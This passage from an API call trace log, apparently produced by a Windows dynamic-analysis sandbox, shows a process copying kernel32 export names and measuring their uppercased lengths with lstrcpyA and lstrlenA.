returned="BaseDumpAppcompatCacheWorker" [0132.500] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0132.500] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0132.500] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0132.500] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0132.500] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0132.500] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0132.500] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0132.500] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0132.500] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0132.500] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0132.500] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0132.500] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0132.500] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0132.500] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0132.500] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0132.500] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0132.501] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0132.501] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0132.501] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0132.501] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0132.501] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0132.501] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0132.501] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0132.501] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0132.501] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0132.501] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0132.501] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0132.501] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0132.501] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0132.501] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0132.501] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0132.501] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0132.501] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0132.501] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0132.501] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0132.502] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0132.502] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0132.502] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0132.502] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0132.502] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0132.502] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0132.502] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0132.502] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0132.502] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0132.502] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0132.502] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0132.502] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0132.502] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0132.502] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0132.502] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0132.502] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0132.502] lstrlenA (lpString="BEEP") returned 4 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0132.502] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0132.502] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0132.502] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0132.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0132.503] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0132.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0132.503] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0132.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0132.503] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0132.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0132.503] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0132.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0132.503] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0132.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0132.503] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0132.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0132.503] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0132.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0132.503] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0132.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0132.503] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0132.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0132.503] lstrlenA (lpString="CANCELIO") returned 8 [0132.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0132.559] lstrlenA (lpString="CANCELIOEX") returned 10 [0132.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0132.559] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0132.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0132.559] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0132.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0132.559] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0132.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0132.559] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0132.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0132.559] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0132.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0132.559] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0132.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0132.559] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0132.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0132.559] lstrlenA (lpString="CHECKELEVATION") returned 14 [0132.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0132.559] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0132.559] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0132.559] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0132.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0132.560] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0132.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0132.560] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0132.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0132.560] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0132.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0132.560] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0132.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0132.560] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0132.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0132.560] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0132.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0132.560] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0132.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0132.560] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0132.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0132.560] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0132.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0132.560] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0132.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0132.560] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0132.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0132.560] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0132.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0132.560] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0132.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0132.560] lstrlenA (lpString="CLOSESTATE") returned 10 [0132.560] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0132.560] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0132.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0132.561] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0132.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0132.561] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0132.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0132.561] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0132.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0132.561] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0132.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0132.561] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0132.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0132.561] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0132.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0132.561] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0132.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0132.561] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0132.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0132.561] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0132.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0132.561] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0132.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0132.561] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0132.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0132.561] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0132.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0132.561] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0132.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0132.561] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0132.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0132.561] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0132.561] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0132.562] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0132.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0132.562] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0132.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0132.562] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0132.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0132.562] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0132.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0132.562] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0132.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0132.562] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0132.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0132.562] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0132.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0132.562] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0132.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0132.562] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0132.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0132.562] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0132.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0132.562] lstrlenA (lpString="COPYCONTEXT") returned 11 [0132.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0132.562] lstrlenA (lpString="COPYFILE2") returned 9 [0132.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0132.562] lstrlenA (lpString="COPYFILEA") returned 9 [0132.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0132.562] lstrlenA (lpString="COPYFILEEXA") returned 11 [0132.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0132.562] lstrlenA (lpString="COPYFILEEXW") returned 11 [0132.562] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0132.562] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0132.563] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") 